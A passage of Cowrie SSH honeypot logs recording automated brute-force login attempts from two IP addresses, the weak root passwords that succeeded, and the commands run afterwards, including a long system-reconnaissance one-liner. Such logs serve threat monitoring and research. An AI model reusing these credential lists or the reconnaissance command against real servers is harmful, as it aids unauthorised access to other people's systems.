hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:52.346478Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345678","message":"login attempt [root/12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:54.568778Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.904765Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.907803Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.910958Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.914128Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.916995Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:55.920838Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:56.673585Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:56.678134Z","src_ip":"91.92.240.199","session":"d5ddf98451c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33660,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c07d0ec8baf","protocol":"ssh","message":"New connection: 101.44.96.62:33660 (159.203.135.109:22) [session: 8c07d0ec8baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:57.126389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:57.131331Z","src_ip":"101.44.96.62","session":"8c07d0ec8baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:57.353588Z","src_ip":"101.44.96.62","session":"8c07d0ec8baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"123qwe","message":"login attempt [oracle/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:58.008263Z","src_ip":"101.44.96.62","session":"8c07d0ec8baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:08:59.228660Z","src_ip":"101.44.96.62","session":"8c07d0ec8baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33574,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd96660f4b7c","protocol":"ssh","message":"New connection: 101.44.96.62:33574 (159.203.135.109:22) [session: cd96660f4b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:10.685788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:10.690290Z","src_ip":"101.44.96.62","session":"cd96660f4b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:10.907408Z","src_ip":"101.44.96.62","session":"cd96660f4b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"rabbitmq","message":"login attempt [rabbitmq/rabbitmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:11.557671Z","src_ip":"101.44.96.62","session":"cd96660f4b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:12.777504Z","src_ip":"101.44.96.62","session":"cd96660f4b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37634,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6aac25f1b9c","protocol":"ssh","message":"New connection: 101.44.96.62:37634 (159.203.135.109:22) [session: a6aac25f1b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:24.226995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:24.232334Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:24.450426Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"aa123456","message":"login attempt [root/aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:25.101714Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:25.573046Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:25.576579Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:25.796560Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:25.801645Z","src_ip":"101.44.96.62","session":"a6aac25f1b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58352,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a16635497ac","protocol":"ssh","message":"New connection: 101.44.96.62:58352 (159.203.135.109:22) [session: 8a16635497ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:37.869252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:37.874074Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:38.092383Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:38.747109Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:39.217817Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:39.221134Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:39.443221Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:39.448792Z","src_ip":"101.44.96.62","session":"8a16635497ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc29374b4c4","protocol":"ssh","message":"New connection: 101.44.96.62:56920 (159.203.135.109:22) [session: ccc29374b4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:51.446174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:51.450460Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:51.668776Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root@123","message":"login attempt [root/root@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:52.321573Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:52.800489Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:52.804277Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:53.025621Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:09:53.030181Z","src_ip":"101.44.96.62","session":"ccc29374b4c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51944,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b9a4a3965f","protocol":"ssh","message":"New connection: 101.44.96.62:51944 (159.203.135.109:22) [session: 27b9a4a3965f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:05.040431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:05.058685Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
